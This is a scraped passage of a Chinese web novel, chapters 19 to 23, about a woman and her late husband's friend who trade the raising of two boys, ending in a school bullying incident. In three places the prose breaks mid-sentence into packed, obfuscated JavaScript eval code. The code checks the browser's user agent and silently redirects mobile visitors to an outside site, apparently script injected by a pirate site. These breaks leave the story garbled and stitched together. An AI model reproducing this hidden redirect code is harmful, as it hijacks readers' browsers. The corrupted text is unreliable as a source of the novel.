那他最在意的就是念书这件事。 沈介舟这次回来的实在匆忙,还真没开始打听附近小学的事。 但叙白既然主动提出来了,那他自然会把这件事提上日程。 沈介舟只担心一个问题,“腿没问题吗?” “等沈叔叔找到学校再办入学,各种事情下来,好歹也要三四天吧,那时候我肯定可以慢慢走了。” 林叙白不想一直躺着,他想找点事情做。 沈介舟答应下来,他打算到时候跟学校说一下,至少体育课之类的暂时不要叙白参加了。 这学期还剩下一个多月,让人慢慢养着最好。 或许去新的环境和新的同学接触,会让他忘记之前发生的糟糕的事。 沈介舟不放心,等人慢慢上床才离开。 只是看着人额角流汗,觉得真的不需要他帮助吗?看着人看着隔壁露出向往的表情,又觉得真的不需要他做点什么吗? 沈介舟默默的合上房门,走到客厅,正好遇见因为口渴来接水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样的话,沈介舟放心不下把林叙白。 “你是在开玩笑吗?” 纪悠可没有一点开玩笑的意思,她眉眼弯起,“看来你想要我一碗水端平的心也不是很诚。” 她是故意的。 这是沈介舟心头升腾起的第一个念头。 不想让她太随心所欲。 但…… 叙白比起他这个中途到场的沈叔叔,明显还是更需要陪伴在他身边多年的她。 沈介舟垂眸又抬起,语气坚定道,“我答应你。” 纪悠觉得早这样不就完了吗?还浪费她的时间,好不容易烧的热水,现在都要冷凉了。 她放下杯子,拉着向晨回屋的过程中,纪悠仔细确定了一下两人开始的时间。 “时间就从送孩子们上学开始吧,今晚我会去叙白那瞧上一眼的。” 其实她的深夜故事已经讲完了,但关于上学的事还是得安慰一下自家带着的小孩。 因为向晨看起来是真的很讨厌上学,而她原先说过实在不想去学校她来带来着。 现在算不算是在孩子面前言而无信啊。 她摸了摸鼻子,少有的感受到一股心虚。 但她还没安慰呢,林向晨先开口了,“妈妈,没事,我明白的,我们这算是寄人篱下对吧。” 这点纪悠没反驳,“确实有这个意思没错。” 林向晨懂得,无论是让妈妈一碗水端平,还是让他去上学,都是那个男人立威的手段而已。 就算这个后爸没自己的孩子,但折腾人的手段倒是一点都不少。 妈妈既然已经努力争取一人带一个了。 但他也得好好发威,不能让人认为他们母子好欺负才行。 “妈妈,你就放心吧,你受到的气由我来帮你出。” 林向晨握着拳头斗志勃勃,纪悠则是有点看不懂孩子的想法,她觉得自己也没受什么气。 但孩子已经把自己哄好去上学了,她就也没什么插嘴的必要。 于是纪悠点了点下巴,叮嘱了一下重要事项,“如果不想在学校待的话,就联系你后爸把你从学校接回来。” “知道了,那我在学校里有啥事就让学校找我后爸。” 纪悠挑眉,向晨在鬼主意上领悟的真快啊。 她拍了拍他的头,又顺手摸了摸他的耳垂,动作亲昵的不行。 “那我去叙白那看一眼。” 话落纪悠又给向晨掖了掖被子,等去到叙白那,发现他已经睡着了。 能从眼底下面的乌青看出他这阵子睡觉的不安稳。 这一路上无论是身还是心,都已经很困很累了吧,那还有什么需要她来讲故事的,纪悠打了个哈欠,走的时候还顺带帮人关上还开着的小夜灯。 沈介舟一定是图省事类型的,在三间房里的家具布局排列居然都是一模一样的。 她回到房间,发现只有这顶小夜灯不同。 她的床头柜上是白光,不知道是不是他故意的,但她还蛮喜欢的,黄色总是会让她昏昏欲睡,有点困顿的感觉。 她又仔细端详了一番房间内,发现她的电话到时候还是安在床头最合适。 既然是屋子里的,那自然是越方便越好。 沈介舟许诺过了,那安排的效率就不会含糊,工作人员过了两天就上门帮她安排好了座机,临走前还专门让她试一试。 她打进了沈介舟卧室里的那台,她有了个想法,“不让我进你房间的话,那我以后打电话找你。” 沈介舟穿好衣服,把伤药放进柜子。 从裸露在外的胳膊上看当时车祸留下的一些伤痕。 他本想点头,说‘这样确实可以’。 但又觉得说完或许她会频繁打电话过来。 “我之后会去上班。” “那把你上班的电话号码给我。” 沈介舟沉思了一小会,“你可以去办公室找我。” 纪悠觉得好笑,共处一室就让她打电话,办公室远了又让她去办公室,就是怎么对她麻烦怎么来呗。 就这么提防她吗? 她觉得没问题,既然他这么要求她,那到时候找她的时候可千万别嫌麻烦。 她对照了眼日历,“如果明天你就去工作的话,那孩子上学我送你接。” “好。” 话落纪悠挂断电话,觉得在孩子教育上他还算干脆利落。 她通话一遍,觉得没有问题,付了钱,工作人员就离开了。 这钱还是从沈介舟给她的钱里付的。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590911|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是用于她的生活开支和孩子的上学生活费用,足足有两千块,比林墨当时给的家用多了四倍。 而她带来的钱,还是她的钱。 在这点上,沈介舟还是蛮大方的。 她重新拨号,把这通电话打给小姨,在临走前她把房子钥匙给了小姨,说让她帮忙卖房子。 但其实卖房子的钱她并不想要。 这也算是感谢小姨这些日子对她们母子这么尽心的谢礼。 白如兰很震惊,“这卖房子的钱你就这么给我了?” “这有什么。” 本来就是沈介舟为了兄弟情义付的款。 纪悠只担心一点,“在家里那样的地方,八成不太好卖吧,在卖不出去的时候,你可以先租。” 白如兰觉得这好,多套房子,以后干啥也方便。 她其实不太支持纪悠卖房的,这样她在城里过不下去,还可以回来住,但听说过惯了城里的好日子,到时候大多数人都是不愿意回来的。 她瞬间好奇问道,“城里的日子真有这么好啊,小沈的条件怎么样?有没有小汽车这样的。” 纪悠仔细思衬了一下,“他算是比较有钱的那一个行列吧。” 至于有没有小汽车?在院子里看着是有的。 “小姨你怎么想起来问这个。” 白如兰想到,“这不是村里又来了一个卖货的,人家见识广,我好奇问的。” 纪悠点头,原来如此。 再寒暄几句后纪悠挂断电话,从屋子里走出去,正巧遇见要出门的沈介舟。 他穿西装打领带,比起在村子里的样子,明显这个时候要更正式。 “不是说明天,怎么今天就要去公司里了吗。” 沈介舟停下脚步,“有什么事要和我说吗?” “没有,只是寒暄一下。” 沈介舟诧异了一下,因为纪悠看起来从来不喜欢寒暄这东西。 他想了想回应道,“明天早上要麻烦你了。” 因为比起晚上去接,那早上把吵闹的孩子叫醒去送似乎更麻烦点。 他理应在这个一碗水端平的条件下,表达一下感谢。 纪悠点头,算他有感恩之心,很明显,在孩子后爸的这个身份上他做的其实还算合格。 20. 第 20 章 孩子们开学这天,纪悠率先下了楼。 昨晚沈介舟没有回来,但纪悠也不在乎他回不回来,只要他今晚能按时去接孩子就可以了。 纪悠叫孩子们吃饭只叫一次,她本来起的也不早,等孩子们收拾完,距离约定好的时间就剩十分钟了。 为了让他们舒舒服服的去上学,沈介舟还专门给他们配了个司机。 纪悠问了一下司机,“从这去那学校,你大概要花多少时间?” “五分钟左右。” 纪悠轻声念叨,‘五分钟啊’,那看起来还是在车上吃早饭比较好吧。 林向晨非常自主的抓了两个大包子,“这一碗水端的,真是不平!” 他本来还想在开学的时候好好折腾一下后爸的呢。 结果居然让妈妈来送,这不是后爸耍赖吗? 他愤愤不平,抱着书包招呼了一声林叙白,“快点,你是妈妈带的,你可不能迟到了。” 林叙白点头,“好。” 纪悠看人一瘸一拐,“没事,你可以走慢点。” 有她在,不想迟到就绝对迟到不了。 只是,今天似乎本来就只是为入学做的测验,那迟不迟到也没多少太大关系吧。 因为能在这个时候入学的学生实在太少了,沈介舟说还有专门的老师给两人进行入学测验呢。 只是到地方后,纪悠没有松开牵着林叙白的手,对老师说道,“这孩子只是来报道,暂时是不上课的。” “可是这和我们原先说的……”不一样啊。 监考老师顿住,明显有些迟疑。 纪悠笑了笑,“老师你看,他腿已经开始疼了,原先他认为自己可以,但经过事实验证发现我们发现他不行。” 孩子可以逞强,但家长要比他们更看重他们的身体。 就是这么简单的一回事。 监考老师拿着纸笔,“但这次考试是对学生的一次摸底测验。” “这个的话,对这个孩子更不需要,因为他是个天才。” 纪悠记得,原著中,林叙白只是习惯了谦逊,在后妈面前更是如此,他其实已经掌握了四位数字的心算。 这已经完全远超真正五年级小孩的水平了。 监考老师原先是不信的,毕竟天下家长都说自家孩子是天才,几分真几分假还是需要检验了才知道。 于是她问了几个计算题,确实都被一一回答了。 答案还和她手中计算器的正确答案一模一样。 天呐,那这个‘天才小孩’是真的。 “夫人,你家小孩是真的厉害,那你快把孩子领回家吧,别让孩子分不清轻重真伤了自己的腿。” 纪悠点了点头,“那辛苦你重新安排了。” 她抱着林叙白出了门,司机要把她带回去,所以如今还在学校大门外。 林叙白撑着纪悠的肩膀直起身来,“你是怎么知道我会这些的。” 纪悠对这个问题早就想好答案了。 “你以为我和你相处多久了?” 足足八九年时间,察觉到这点猫腻简直轻而易举,只是纪悠原本会以为林叙白会先问,‘为什么不让他上学呢。’ 她用眼神询问,林叙白则低下头,“如果你不想我上学,就不会带我来报道了。” 这点差别,他还是能看出来的。 “你是因为担心我的腿。” “对啊,毕竟你现在是我负责带的。”带不好,沈介舟可是会生气的。 纪悠说完这句话之后,明显感受到林叙白的情绪急转直下,他甚至想下去,被纪悠拦住,“闹什么呢?” 别给腿造成三次伤害了,这次不养好就算能站起来走路,也绝对会坡脚的。 “等回去我会好好再给你包扎一遍。” —— 沈介舟正在开会,他这些日子因为车祸堆积了太多需要处理的事情了。 他的秘书这时候敲门,“老板,学校打来的电话。” “发生什么事了吗?” “是你孩子在学校里出了事,被老师叫家长了。” 气氛陡然安静了一瞬,随即底下开始叽叽喳喳,‘沈总不是没结婚吗?什么时候孩子都要到上学的年纪了。’ ‘难不成是隐婚?’ ‘难不成是私生子?’ 沈介舟没有替他们解答八卦的意思,他起身,“抱歉,如果没有人再继续提问的话,我想我要提前离席去一趟学校了。” 底下的人纷纷表示,‘是啊,最近没什么事的,孩子的事最重要。’ 他们的眼睛瞪的老大,见从沈总那套不出什么,又把眼睛放到秘书身上。 秘书举手投降,“这是沈总的私人信息,暂时没办法透露给任何人。” 他们秘书是完全按照吩咐办事的,如果八卦心太浓是绝对到不了沈总身边的。 他跟着沈介舟离开,边走边解答沈介舟的问题。 “是叙白吗?” “是您的二儿子林向晨。” 沈介舟脚步一顿,随即想起,确实,如果是叙白的话就该她来管了。 他开着车,去到学校。 他一路上都在想因为什么事,向晨运动受伤,又或者是因为刚来被欺负。 因为昨晚的事,他暂时排除了向晨主动欺负别人的选项。 但他怎么也没想到,居然是因为成绩和态度,他透过办公室外依稀能看到向晨翘着二郎腿,‘有本事你就把我后爸叫来’的猖狂样子。 沈介舟在已经打开的办公室门口敲了敲,“发生什么事了吗?我是向晨的家长。” “林先生。” “不,请叫我沈先生。” 老师愣了下,才想起林向晨同学说的后爸的事。 她咳嗽两声,从善如流地改变称呼,“沈先生,请坐,您请先看一下林向晨同学的成绩。” 沈介舟记得向晨的成绩确实不好,他拿起看了一眼。 虽然已经做了心理准备,但还是震惊道,“三分!” 这其中还有一分是因为小学四年级以下写了名字,也能给一分。 除此之外的两分也是送分题。 其余的他在试卷上乱写乱画,连卷面分都没有拿到。 但是怎么可能会有人连这么简单的题目都不会做呢。 沈介舟眼神上下左右看了好几遍。 他从来没这么失态过,装作冷静的合上卷子后,他想起来件事,“我先前给学校捐过一栋楼,这么差的成绩我想不足以成为开除向晨的理由吧。” 老师这事还真不知道,但这批学生确实被校长叮嘱要好好照顾。 难不成指的就是这事? 她为难道,“确实不至于,但最关键的不是向晨同学的成绩,而是他的态度。” 两人把视线投过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594131|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,还能看见人把脚放在另外一个板凳上猖狂的样子。 这个样子确实不像是来上学的样子。 沈介舟走上前去,努力扮演着知心爸爸的角色,“为什么不想上学?” 林向晨没有把脚收回来的打算,“原因还不明显吗?我讨厌学校。” 讨厌学校,还是讨厌他? 沈介舟觉得后者的你可能性更大一些,他不知道该怎么说,但或许可以尝试交流试试。 他好像还没和向晨这么对话过呢。 “为什么讨厌学校?” “因为它里面讨人厌的家伙太多,谣言、欺负也太多。” 沈介舟开始怀疑自己原先的猜测到底是不是正确的,他开始想学校的好,但他好久没上过学了。 “学校是教书育人的地方,大家为了好成绩努力拼搏,努力成为更优秀的人……” “假!大!空!” 沈介舟:“……”这么犀利让他之后怎么说? 他尝试换个角度,“所以你今天是从进入学校那一刻就开始不开心了嘛?” “是又不是,我是从妈妈带林叙白离开学校开始不开心的。" 带叙白?离开学校? 等等,这让他不能理解的事情,又多了起来。 沈介舟垂眸努力把思维拉到正轨,也就是当前的问题上,“所以追根到底因为妈妈和我的角色互换,所以你不高兴了对嘛?” “不是!” 沈介舟从这个语气上还是能看出他猜对了的,他继续道,“我和你妈为了对你们的爱端平,而进行互换,那如果你一直抵触我,代表我的行动一直都不成功,那就一直互换不回来了。” 林向晨:“!!!” 虽然不太明白,但最后一句的威胁效果实在惊人。 让他妈妈一直带着林叙白吗? 那种事情,千万不要啊。 沈介舟笑了,“所以你要乖乖上学才行啊。” 林向晨捂着耳朵,“后爸你真烦人!” 不,沈介舟风中凌乱。 为什么到现在还要单独叫他后爸,这个称呼就不能改一改吗? “或许你可以和叙白一样,叫我沈叔叔。” 林向晨背上书包硬气道,“不要!” 逼着他乖乖上学的人,还想要他再改变称呼,真是美的他。 林向晨就要一直叫,“后爸,我走了。” 他去到原先就分配好的教室,发现和他同期一起考试已经落座了。 既然是非常稀奇的,这个时候转学的人。 那必然是要在一起玩得,他直接坐过去和这个新来的同学成为同桌。 “林向晨。” “陆昭然。” “知道名字的话,我们以后就是朋友了。” 陆昭然原先一直在家里学习,还是第一次来学校,原来交学校里的朋友是一件这么迅速的事情吗? 他不太懂,但点点头。 好的,两人以后就是朋友了。 “我看你在家里居然敢和这个…‘后爸’吵架,你是真的还蛮厉害的。” 林向晨‘哼’了一声,无所谓的甩甩手,“那当然,他只是一个后爸而已,凭什么管我。” 以前在家里也是,都说妈妈这个后妈凭什么管林叙白。 他这是耳濡目染。 所以,他这样说也绝对没错! 20-30 第 21 章 这么抵触后爸怎么还能成…… 沈介舟准点来接林向晨放学, 他尝试去牵向晨的手,但人双手插兜,抗拒的态度特别明显。 等回到家, 向晨一下子就跳下车去找纪悠。 沈介舟看着这场面有片刻晃神,就好像他真的拥有了老婆孩子热炕头一样。 但他的妻子不该是这个性格, 孩子也不该这么调皮。 林向晨停在玻璃窗前,因为震惊,所以眼睛格外的大。 妈妈居然在给林叙白讲题? 沈介舟好奇向晨为什么停了下来, 等看到这场面也有点震惊, 只是两人震惊的点不同。 在这段时间的相处中沈介舟认识到叙白非常聪明, 不是一般聪明的那种, 而纪悠却能给叙白讲题…… 他还没想清楚情况,林向晨先开口了。 他不满的说道,“你也能给我讲题吗?” “抱歉, 我很忙。” “你的意思是妈妈就很轻松空闲喽。” 沈介舟并不是这个意思, “我的意思是我的工作会占据我的大部分时间。” “那你现在就是瞧不起我妈没工作喽。” 沈介舟也没这个意思, 但他依稀能看出向晨为什么针对他,“等叙白身体好了,能正常上学了就不会这样了。” 林向晨顿了好大一会,最后白了沈介舟一眼, 又踢了一下白墙,别扭的不行。 “切, 没劲。” 沈介舟想拦住人叫人吃饭,但人脚底一个滑溜就像个泥鳅一样从他胳膊下钻过去了。 临走前还朝他做了个鬼脸。 沈介舟皱着眉头, 但也特地让孟姨做了点向晨爱吃的菜。 他最近了解到的,这个年纪的孩子正是叛逆的时候,但家长愿意多给点关爱, 应该也是属于能管教好的范畴。 纪悠走出房间,正好和沈介舟来了个面对面。 “我家小孩呢?” 沈介舟去了解过了,没跑远,就在别墅的小花园荡秋千呢,“在赌气呢。” “因为你吗?” “我和你都是。” 纪悠不明所以,但跟着沈介舟走了一段,在草坪上,确实能从窗户看到屋内,她想起刚刚发生的事情,顿时明白过来。 “我这可是在好好履行我们之间的约定哎。” 她可是按照对方要求的好好照顾叙白,所以孩子赌气怎么能怪她呢。 要怪应该怪沈介舟连个孩子都哄不好才对吧。 她没明说,但在眼神里就表达着这样的含义。 沈介舟看懂了,他低垂着眼,“是我失职,在这点上我承认我能力确实有限。” “那我去哄。”纪悠笑了下,等走了两步又转过头故意道,“所以我做了我该做的,你在学校里可要加倍关注我们家向晨才行啊。” 沈介舟明白这是条件,但他确实在哄小孩上没有一点天赋。 就连邻居家的小孩,见到他从来也都是绕道走的。 他这张脸,自认为不是凶恶那一卦的。 沈介舟无奈抬头,“那你是怎么在叙白这么想去上学的情况下,劝说他在家里来学习的呢?” 纪悠挑眉看人一眼,“对我带孩子这点就这么不放心。” 沈介舟眼神撇开,但表情认真。 “我是在取经。” 纪悠勉强信他三分,“就是比起小孩子的表象和坚持,做大人的,要更懂得掌握孩子真正想要的东西才对吧。” 就比如林叙白想要的是安全感吧,那给他就是了。 在林叙白腿伤还坚持要下床学习的时候,纪悠就提出了这个建议,效果自然是好的。 纪悠说完转身就走,沈介舟则皱着眉头顿在原地。 向晨真正想要的?八成是不上学。 这个建议对他来说,多少有点不适用了吧。 沈介舟揉了揉眉心,在晚饭期间,不知道纪悠和向晨说了什么,反正向晨是按时就坐了。 沈介舟夹了一块辣子鸡给林向晨,被林向晨又夹给了纪悠。 “你这人真是,妈妈最爱吃的辣菜才是辣子鸡,我可不是。” 林向晨的潜台词意思就是对谁都用那一套。 沈介舟又给他夹了一块水煮肉片,林向晨叉腰,“这是我第二爱吃的,我第一爱吃的是油爆大虾!” 他嫌弃地看了沈介舟一眼,“就这还找妈妈取经,也不知道取到什么了。” 沈介舟抿唇:“……” 都说了,他非常不擅长应付孩子了。 他见纪悠笑意盈盈地摸了摸林向晨的头,然后把他爱吃的油爆大虾夹给他吃。 他闭上眼,等再睁开发现还是隐藏不了眼底的心累,他看向叙白。 “等晚上我给你洗澡。” 叙白已经十岁了,是个腼腆的性格,来这奔波了一路,不好好打理一下可不行。 浴室贴了瓷砖,对叙白来说太不友好了。 这活不方便交给纪悠,那就只能他来了。 他晚上烧好水,等他往叙白后背擦湿的时候,突然想到,不知道什么时候,又变成在家里他带叙白,她带向晨的模式了。 就只有学校和学习,是交换的范畴而已。 “叙白,你觉得现在的生活快乐吗?” 林叙白以前从来都没发现,他可以在思考上和人这么同频,他点头,“快乐。” “那就好。” 沈介舟穿着浴袍,能从露出的部分,看出小腿也曾经受过的严重外伤。 还有额头除了车祸的陈年印记。 他能察觉到人的不自在,非常迅速的结束后,就给人裹上毛巾,“现在这些日子,正好不用上下学,洗澡也会方便些。” 林叙白转过身,“需要我给你擦后背吗?” 沈介舟诧异了下,随即捂着袖口笑着拒绝。 “不用了,你力气还太小。” 林叙白收紧手指,在和沈叔叔相处的过程中总觉得隔了一堵墙,这种感觉,和在她在一起的感觉完全不同。 其实他也没想到,她愿意为他做到这个地步。 —— 因为林叙白不去上学,那纪悠自然现在不用负责接送孩子,接送向晨的任务就全程都落到了沈介舟身上。 沈介舟的担忧成了真,向晨折腾了一圈,反正就是不乖乖去学校,等到了学校,沈介舟看了一眼时间,才发现第一节课已经上完了。 他该庆幸他是开公司的吗?如果他是公司员工这样长此以往,绝对会被开除的。 看见林向晨背着书包去上学的背影,沈介舟长舒一口气,随即调转方向盘。 林向晨朝后看了一眼,非常不情不愿地去到教室,找到座位,随即发现同桌的位置上居然摆了一大堆不属于他的东西。 还乱涂乱画的,跟铅笔画一样。 同桌此刻也不在,一问旁边的是在楼道里,林向晨对这种情况还是蛮熟悉的,跟同学道了句谢就直接去到楼道,把三人小团伙一人一脚给踹倒。 他站在新朋友面前气势汹汹地,“识相点就给我滚。” 林向晨那是身经百战的,就算是新来的,但是一看就不好惹。 几人对视好几眼,最后还是灰溜溜的离开,林向晨则把目光放在了他新交的朋友上。 陆昭然摸摸湿漉漉的头发,满脸都是苦笑,“听说新来的都要经历这样的事。” “那我怎么没有。” 陆昭然提起这件事有点想笑,“因为你一看就不好惹啊,而且在第一天刚来就闹的这么大,把家长都叫来了。” 把家长都叫来了,熊孩子最害怕的事情,林向晨都不怕的话。 那就更没什么能约束他的了。 林向晨咋舌,“那真可惜。” 陆昭然挠挠头,怎么没被人针对怎么还可惜呢。 他这么想也是这么问的。 林向晨插着兜,嫌弃表示,“就该把我后爸叫来,让他看看这就是他费尽心思让我上的学校是什么样子的。” 陆昭然诧异地瞪大眼睛,“你到底有多抵触你后爸啊?” 其实他更想问的是都这么抵触了到底还是怎么成为一家人的啊。 但他不喜欢问别人的家庭情况,就像不喜欢别人问他一样,就比如今天这伙人也是打听不成就开始了针对。 但对待林向晨这样的朋友,又或许可以坦诚一点。 “因为我妈妈去世了,所以姥姥担心我的心理状况,所以就把我送来上学。” 林向晨想说,那这样不是对心理健康更不好啦。 他也坦诚,“我爸爸去世了,所以我家里的是后爸。” 陆昭然知道他家是后爸,但没想到是亲爸去世,他顿时感觉关系更拉近了很多,“那你今早这么晚是你后爸送你来的吗?” “是我看他不爽,闹腾的。” 陆昭然信他,因为从先前的情况来看就是这样的。 “那你到底为什么看你后爸不爽啊?” 居然这么不爽,还成为了一家人,这才是陆昭然最稀奇的地方。 林向晨觉得这件事说来话长,那就长话短说,“就是我爸刚死,我爸兄弟就带着遗嘱上门,然后我爸兄弟莫名其妙的就成为了我的后爸。” 陆昭然觉得这种复杂情况他需要好好捋一捋。 所以这意思就是,“你后爸在你爸葬礼上恬不知耻的勾引你妈。” 陆昭然风中凌乱,所以怎么可以有人这么道德败坏。 他的朋友,也就是林向晨的抵制后爸的态度,他现在非常,十分的可以表示赞同和认可! 第 22 章 纪悠:或许我不该把向晨…… 陆昭然心中虽然满是豪情, 但到底没什么主意。 他问林向晨,“你打算之后怎么抵制你后爸啊?” 林向晨亮出得意地尖牙,“要不我们逃课去打篮球吧。” 逃课?去打篮球! 陆昭然从来没做过啊。 但这绝对是新奇的体验, 而且他又答应了朋友要帮他针对他后爸。 于是他点头,“就去校门口那边的操场怎么样?那边人少。” “好!” 两人打定好主意之后, 没稍多久,教导主任就找到他们两个,“林向晨, 陆昭然, 你们两个打人的事我已经叫家长了。” 不敢相信他们三个居然敢恶人先告状? 好不爽啊! 林向晨咬牙, “我只是轻轻踹了他们一下而已。” 教导主任气愤道, “说什么呢?有一位同学可是骨折了啊。” 什么?骨折! 林向晨不知道这事啊,他和陆昭然茫然的对视一眼。 —— 沈介舟不敢相信,向晨上学不超过一个星期, 他被叫家长的次数就已经有了两次。 那这一整个学期…… 沈介舟梗了一下, 显然都不敢继续想下去。 他去到教室坐在一张空桌子上, 他找到上次的熟面孔,他记得这是向晨的班主任。 沈介舟的语气已经无奈到麻木。 “这次又发生什么事了?” 班主任觉得这次的行为很恶劣,“是打架斗殴。” 沈介舟皱着眉头,打架斗殴?这可是比先前成绩不好严重百倍的问题。 “既然把我叫过来, 而不是让人带孩子去看医生,所以向晨是打人的那一方对吗?” 在听到肯定的回答后, 沈介舟脸色更难看了一点。 “所以对方的伤情怎么样?” “骨折了。” 沈介舟在听事情经过的过程中眉头一直没松开过,他揉揉眉心继续道, “那我会负责对方从住院到出院所有的医药费。” 林向晨在外面不知道听了多久,此刻冲了进来,门口的老师都没拦住。 他怒气冲冲, “你为什么要出医药费啊,这事情不是我做的。” 沈介舟有理有据,“这么多人看着那个楼梯间拐角就你们几个,而且你也确实踹了他不是吗?” 向晨生气的时候最喜欢抬脚了,这点沈介舟深有体会。 他拿着笔,显然有直接开单的架势。 也不知道单纯的付医药费能不能解决这次的问题。 沈介舟皱着眉头,最担心的是这个。 林向晨愤怒,“都说了,我没用这么大力气了。” 沈介舟一只手抓住林向晨抬起的脚,他先前一直没计较,但不代表他真的躲不开。 他神色越来越冷,“你这动不动就踢人的毛病,真的该好好改一改了。” 林向晨收了腿,然后直接就跑开了。 沈介舟:“……” 或许他就不该把人的腿松开。 他转过身,重新找了一支笔打算签上,这时候一只手越过他的肩膀,把票据拿走了。 沈介舟暮然抬头,然后看见了个意外的人物。 “你怎么会在这里?” 纪悠没有回答他问题的打算,她翻转了一下支票嫌弃道,“你就这么着急地给向晨定罪吗?” “那你又为什么这么肯定不是向晨做的呢?” “因为他是我养大的。” 所以纪悠当然有这个自信了,只是纪悠这才察觉到一个问题,“或许我不该把向晨的教导权交给你。” 沈介舟神色一僵,“这怎么说?” 纪悠对此毫不客气,“因为比起一碗水端平这种高难度的题目,沈先生首先要做的是,先消除对向晨的偏见这种基础题目才对。” 在沈介舟和林向晨闹矛盾的期间,纪悠带了一个人过来。 她弯下腰,“我想这个小朋友的目击证词也可以听一听。” 小孩挠挠头,其实他也没有仔细听清。 但是这几个以刘柯泽为首的恶霸时常欺负新来的同学,尤其是陆昭然同学这种文文弱弱的同学。 他们欺负不成又被林向晨教训了。 等下了楼梯的时候其中一人不小心摔了一跤,正好伤到的是林向晨踢到的位置,所以刘柯泽就说这事可以用来污蔑林向晨。 反正归根究底就是不打算让他好过就是了。 “小朋友,你叫什么名字?” “我叫卢一折。” “卢一折同学,谢谢你,这张支票就当是我送给你的谢礼好了。” 纪悠刚刚瞧了瞧,还不少呢。 钱要花在更有用的地方才对。 她环视一圈,觉得现场的老师都该听到了才对。 这就行了。 在事情经过已经一五一十的摆在恶霸三人的面前,刘科泽三人到底是个三年级的小学生,没多强的心理素质,不过多久就纷纷说出实话了。 纪悠抱着胸,抵触的态度特别明显,“我想我们之间的交换可以结束了,沈先生,你就好好去管管你死去兄弟兼救命恩人的遗孤吧。” 当然,她说的是林叙白,她的向晨,从来都不在这个行列。 沈介舟抿了抿唇,第一次觉得哑口无言。 他停顿了好久,直到看到叙白,“怎么今天要来学校里啊?” “因为我觉得自己好多了,就算这学期的时间已经不多了,但比起在家待着,还是在寒假前多融入融入新环境,我觉得这样比较好。” 林叙白围观全程,先前的监考老师给他递来一张椅子,“但现在,不是问这个的时候吧。” 她和向晨都已经走了,就连交换,也都结束了。 哪有心情在这里问他这些啊。 沈介舟明白他的意思,他叹了口气,“我知道,只是我暂时找不到什么要说的而已。” —— 林向晨站在墙角,他觉得沈介舟不让他踢,他就偏偏要踢。 最好能练到沈介舟抓不住的时候才好呢。 陆昭然站在他旁边,刚刚的场面他也围观了,“真是想象不到你后爸会是那样的人。”这长相和气质是真不像是道德败坏,而且污蔑自家继子的人。 随即陆昭然想到自己,一秒钟又把自己说服了。 “但人不可貌相,我爸就是这样衣冠楚楚的,但实际上,也是混账一个。” 混账,这是他和他妈妈学的。 这大概是他认识的骂人最过分的词了。 林向晨立定,他‘哼’了一声,“确实混账从来不会把混账写在脸上,而且他们还会装的自己不像个混账,但全身,从上到下,从内到外,都写满了‘混账’两个字!” 陆昭然瞪大眼睛惊喜的不行,他觉得向晨分析的简直太有道理了。 这就是都有个混账加讨厌的人所有的共鸣吗? 陆昭然很想继续和人聊,玩他看见来人了,从这个长相,就算不了解具体情况。 但他也能一眼就看出眼前的这位漂亮优雅的女士是向晨朋友的妈妈。 果然,纪悠在两人面前停了下来。 她递给陆昭然一束花,“很感谢你一直在向晨身边,还一直在给向晨说好话,真是辛苦你了。” 陆昭然无措地摆摆手,其实是他该感谢向晨才对。 没有向晨在,他指定会被小团伙给欺负的。 所以之后,他做的这些也都是应该的。 他抬起头,“我和向晨是朋友,所以这没什么。” 纪悠笑眯眯地,向晨原来交到朋友啦? 难怪向晨受到委屈的第一件事不是从学校里跑出去了。 她没有把花束收回去的打算,“那这朵花就庆祝你们的友谊又坚固了一点。” 陆昭然还在纠结,林向晨则是直接塞给他。 他和他妈妈才不搞这些虚的。 “妈妈,你是来送林叙白上学的吗?” 纪悠点头,“对的。”她挑眉,“不先问事情有没有解决嘛?” 如果是之前向晨还会害怕,但见到妈妈之后那只剩下满满的安心了,“妈妈既然已经来到了我的面前,那就代表问题已经全部解决了!” 纪悠笑了笑,这算不算的上是知母莫若子。 她拍了拍人的脑瓜,转过头来回答他的第一个问题。 “正好我把林叙白送来,再把你接走。” 林向晨诧异,“这是什么意思啊?” “意思当然是,我和沈介舟的互换养娃结束了。” 向晨,当然现在是归她管了—— 作者有话说:接下来就不是女主强迫,是男主主动了,哈哈哈[彩虹屁][彩虹屁] 想养还不让他养了来[菜狗][菜狗][菜狗] 第 23 章 更新 沈介舟坐在沙发上, 因为沉思所以垂眼看向桌上的蛋糕。 这是他买给向晨的歉礼。 今天的事他问了很多人,都在说三人组欺负小孩的事,他却在不了解的情况下擅自给人定了罪。 她说的没错, 或许在第二次去往学校的路上他就因为偏见擅自在心底认定了。 由衷的感到歉疚,而他更多的情绪是无所适从。 沈介舟揉揉眉心, 在门锁响起的那一刻起抬头看去。 纪悠刚刚回来,深夜十一点,屋里黑灯瞎火, 但却能看见一个成年男人坐在沙发上。 就算她见过大风大浪, 也多少有点吓人了。 纪悠打开灯, 